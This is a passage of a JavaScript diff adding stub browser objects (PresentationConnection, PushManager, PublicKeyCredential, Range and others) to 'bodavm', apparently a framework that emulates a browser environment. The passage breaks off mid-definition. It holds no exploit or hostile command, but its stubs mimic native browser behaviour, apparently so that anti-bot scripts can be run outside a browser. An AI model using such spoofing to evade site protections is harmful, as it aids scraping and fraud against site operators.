+bodavm.toolsFunc.defineProperty('PresentationConnection', "onclose", { + configurable: true, + enumerable: true, + get: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_get", arguments); + }, + set: function onclose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onterminate", { + configurable: true, + enumerable: true, + get: function onterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_get", arguments); + }, + set: function onterminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "binaryType", { + configurable: true, + enumerable: true, + get: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_get", arguments); + }, + set: function binaryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "send", { + configurable: true, + enumerable: true, + writable: true, + value: function send() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "send", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnection', "terminate", { + configurable: true, + enumerable: true, + writable: true, + value: function terminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "terminate", arguments); + } +}, 'prototype'); +// PresentationConnectionAvailableEvent对象 + +bodavm.memory.globalobj['PresentationConnectionAvailableEvent'] = function PresentationConnectionAvailableEvent() { + console.log_copy('PresentationConnectionAvailableEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnectionAvailableEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionAvailableEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionAvailableEvent'], "PresentationConnectionAvailableEvent"); +bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PresentationConnectionAvailableEvent', "connection", { + configurable: true, + enumerable: true, + get: function connection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype, "PresentationConnectionAvailableEvent", "connection_get", arguments); + }, + set: undefined +}, 'prototype'); +// PresentationConnectionList对象 + +bodavm.memory.globalobj['PresentationConnectionList'] = function PresentationConnectionList() { + console.log_copy('PresentationConnectionList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationConnectionList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionList'], "PresentationConnectionList"); +bodavm.memory.globalobj['PresentationConnectionList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationConnectionList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationConnectionList', "connections", { + configurable: true, + enumerable: true, + get: function connections() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "connections_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationConnectionList', "onconnectionavailable", { + configurable: true, + enumerable: true, + get: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_get", arguments); + }, + set: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_set", arguments); + } +}, 'prototype'); +// PresentationReceiver对象 + +bodavm.memory.globalobj['PresentationReceiver'] = function PresentationReceiver() { + console.log_copy('PresentationReceiver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationReceiver)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationReceiver'], "PresentationReceiver"); +bodavm.toolsFunc.defineProperty('PresentationReceiver', "connectionList", { + configurable: true, + enumerable: true, + get: function connectionList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationReceiver'].prototype, "PresentationReceiver", "connectionList_get", arguments); + }, + set: undefined +}, 'prototype'); +// PresentationRequest对象 + +bodavm.memory.globalobj['PresentationRequest'] = function PresentationRequest() { + console.log_copy('PresentationRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PresentationRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationRequest': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationRequest'], "PresentationRequest"); +bodavm.memory.globalobj['PresentationRequest'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PresentationRequest'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PresentationRequest', "onconnectionavailable", { + configurable: true, + enumerable: true, + get: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_get", arguments); + }, + set: function onconnectionavailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationRequest', "getAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function getAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "getAvailability", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationRequest', "reconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function reconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "reconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PresentationRequest', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "start", arguments); + } +}, 'prototype'); +// print对象 + +bodavm.memory.globalobj['print'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('print', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('print', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "print" +}); +// ProcessingInstruction对象 + +bodavm.memory.globalobj['ProcessingInstruction'] = function ProcessingInstruction() { + console.log_copy('ProcessingInstruction 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ProcessingInstruction)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProcessingInstruction'], "ProcessingInstruction"); +bodavm.memory.globalobj['ProcessingInstruction'].prototype.__proto__ = bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['ProcessingInstruction'].__proto__ = bodavm.memory.globalobj['CharacterData']; +bodavm.toolsFunc.defineProperty('ProcessingInstruction', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ProcessingInstruction', "sheet", { + configurable: true, + enumerable: true, + get: function sheet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "sheet_get", arguments); + }, + set: undefined +}, 'prototype'); +// Profiler对象 + +bodavm.memory.globalobj['Profiler'] = function Profiler() { + console.log_copy('Profiler 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Profiler)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Profiler': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Profiler'], "Profiler"); +bodavm.memory.globalobj['Profiler'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Profiler'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Profiler', "sampleInterval", { + configurable: true, + enumerable: true, + get: function sampleInterval() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "sampleInterval_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Profiler', "stopped", { + configurable: true, + enumerable: true, + get: function stopped() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stopped_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Profiler', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stop", arguments); + } +}, 'prototype'); +// ProgressEvent对象 + +bodavm.memory.globalobj['ProgressEvent'] = function ProgressEvent() { + console.log_copy('ProgressEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ProgressEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ProgressEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProgressEvent'], "ProgressEvent"); +bodavm.memory.globalobj['ProgressEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['ProgressEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('ProgressEvent', "lengthComputable", { + configurable: true, + enumerable: true, + get: function lengthComputable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "lengthComputable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ProgressEvent', "loaded", { + configurable: true, + enumerable: true, + get: function loaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "loaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ProgressEvent', "total", { + configurable: true, + enumerable: true, + get: function total() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "total_get", arguments); + }, + set: undefined +}, 'prototype'); +// PromiseRejectionEvent对象 + +bodavm.memory.globalobj['PromiseRejectionEvent'] = function PromiseRejectionEvent() { + console.log_copy('PromiseRejectionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PromiseRejectionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PromiseRejectionEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PromiseRejectionEvent'], "PromiseRejectionEvent"); +bodavm.memory.globalobj['PromiseRejectionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PromiseRejectionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "promise", { + configurable: true, + enumerable: true, + get: function promise() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "promise_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "reason", { + configurable: true, + enumerable: true, + get: function reason() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "reason_get", arguments); + }, + set: undefined +}, 'prototype'); +// prompt对象 + +bodavm.memory.globalobj['prompt'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('prompt', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('prompt', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "prompt" +}); +// PublicKeyCredential对象 + +bodavm.memory.globalobj['PublicKeyCredential'] = function PublicKeyCredential() { + console.log_copy('PublicKeyCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PublicKeyCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PublicKeyCredential'], "PublicKeyCredential"); +bodavm.memory.globalobj['PublicKeyCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['PublicKeyCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isUserVerifyingPlatformAuthenticatorAvailable", { + configurable: true, + enumerable: true, + writable: true, + value: function isUserVerifyingPlatformAuthenticatorAvailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isUserVerifyingPlatformAuthenticatorAvailable", arguments); + } +}); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isConditionalMediationAvailable", { + configurable: true, + enumerable: true, + writable: true, + value: function isConditionalMediationAvailable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isConditionalMediationAvailable", arguments); + } +}); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "rawId", { + configurable: true, + enumerable: true, + get: function rawId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "rawId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "response", { + configurable: true, + enumerable: true, + get: function response() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "response_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "authenticatorAttachment", { + configurable: true, + enumerable: true, + get: function authenticatorAttachment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "authenticatorAttachment_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PublicKeyCredential', "getClientExtensionResults", { + configurable: true, + enumerable: true, + writable: true, + value: function getClientExtensionResults() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "getClientExtensionResults", arguments); + } +}, 'prototype'); +// PushManager对象 + +bodavm.memory.globalobj['PushManager'] = function PushManager() { + console.log_copy('PushManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PushManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushManager'], "PushManager"); +bodavm.toolsFunc.defineProperty('PushManager', "supportedContentEncodings", { + configurable: true, + enumerable: true, + get: function supportedContentEncodings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].undefined, "PushManager", "supportedContentEncodings_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('PushManager', "getSubscription", { + configurable: true, + enumerable: true, + writable: true, + value: function getSubscription() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "getSubscription", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushManager', "permissionState", { + configurable: true, + enumerable: true, + writable: true, + value: function permissionState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "permissionState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushManager', "subscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function subscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "subscribe", arguments); + } +}, 'prototype'); +// PushSubscription对象 + +bodavm.memory.globalobj['PushSubscription'] = function PushSubscription() { + console.log_copy('PushSubscription 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PushSubscription)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscription'], "PushSubscription"); +bodavm.toolsFunc.defineProperty('PushSubscription', "endpoint", { + configurable: true, + enumerable: true, + get: function endpoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "endpoint_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "expirationTime", { + configurable: true, + enumerable: true, + get: function expirationTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "expirationTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "options", { + configurable: true, + enumerable: true, + get: function options() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "options_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "getKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "getKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscription', "unsubscribe", { + configurable: true, + enumerable: true, + writable: true, + value: function unsubscribe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "unsubscribe", arguments); + } +}, 'prototype'); +// PushSubscriptionOptions对象 + +bodavm.memory.globalobj['PushSubscriptionOptions'] = function PushSubscriptionOptions() { + console.log_copy('PushSubscriptionOptions 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PushSubscriptionOptions)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscriptionOptions'], "PushSubscriptionOptions"); +bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "userVisibleOnly", { + configurable: true, + enumerable: true, + get: function userVisibleOnly() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "userVisibleOnly_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "applicationServerKey", { + configurable: true, + enumerable: true, + get: function applicationServerKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "applicationServerKey_get", arguments); + }, + set: undefined +}, 'prototype'); +// queryLocalFonts对象 + +bodavm.memory.globalobj['queryLocalFonts'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('queryLocalFonts', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('queryLocalFonts', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "queryLocalFonts" +}); +// queueMicrotask对象 + +bodavm.memory.globalobj['queueMicrotask'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('queueMicrotask', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('queueMicrotask', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "queueMicrotask" +}); +// RadioNodeList对象 + +bodavm.memory.globalobj['RadioNodeList'] = function RadioNodeList() { + console.log_copy('RadioNodeList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RadioNodeList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RadioNodeList'], "RadioNodeList"); +bodavm.memory.globalobj['RadioNodeList'].prototype.__proto__ = bodavm.memory.globalobj['NodeList'].prototype; +bodavm.memory.globalobj['RadioNodeList'].__proto__ = bodavm.memory.globalobj['NodeList']; +bodavm.toolsFunc.defineProperty('RadioNodeList', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_set", arguments); + } +}, 'prototype'); +// Range对象 + +bodavm.memory.globalobj['Range'] = function Range() { + console.log_copy('Range 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Range(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Range'], "Range"); +bodavm.memory.globalobj['Range'].prototype.__proto__ = bodavm.memory.globalobj['AbstractRange'].prototype; +bodavm.memory.globalobj['Range'].__proto__ = bodavm.memory.globalobj['AbstractRange']; +bodavm.toolsFunc.defineProperty('Range', "START_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('Range', "START_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('Range', "END_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('Range', "END_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('Range', "commonAncestorContainer", { + configurable: true, + enumerable: true, + get: function commonAncestorContainer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "commonAncestorContainer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "START_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "START_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "END_TO_END", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "END_TO_START", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "cloneContents", { + configurable: true, + enumerable: true, + writable: true, + value: function cloneContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "cloneRange", { + configurable: true, + enumerable: true, + writable: true, + value: function cloneRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "cloneRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "collapse", { + configurable: true, + enumerable: true, + writable: true, + value: function collapse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "collapse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "compareBoundaryPoints", { + configurable: true, + enumerable: true, + writable: true, + value: function compareBoundaryPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "compareBoundaryPoints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "comparePoint", { + configurable: true, + enumerable: true, + writable: true, + value: function comparePoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "comparePoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "createContextualFragment", { + configurable: true, + enumerable: true, + writable: true, + value: function createContextualFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "createContextualFragment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "deleteContents", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "deleteContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "detach", { + configurable: true, + enumerable: true, + writable: true, + value: function detach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "detach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "expand", { + configurable: true, + enumerable: true, + writable: true, + value: function expand() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "expand", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "extractContents", { + configurable: true, + enumerable: true, + writable: true, + value: function extractContents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "extractContents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "getBoundingClientRect", { + configurable: true, + enumerable: true, + writable: true, + value: function getBoundingClientRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getBoundingClientRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "getClientRects", { + configurable: true, + enumerable: true, + writable: true, + value: function getClientRects() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "getClientRects", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "insertNode", { + configurable: true, + enumerable: true, + writable: true, + value: function insertNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "insertNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Range', "intersectsNode", { + configurable: true, + enumerable: true, + writable: true, + value: function intersectsNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "intersectsNode", arguments); + } 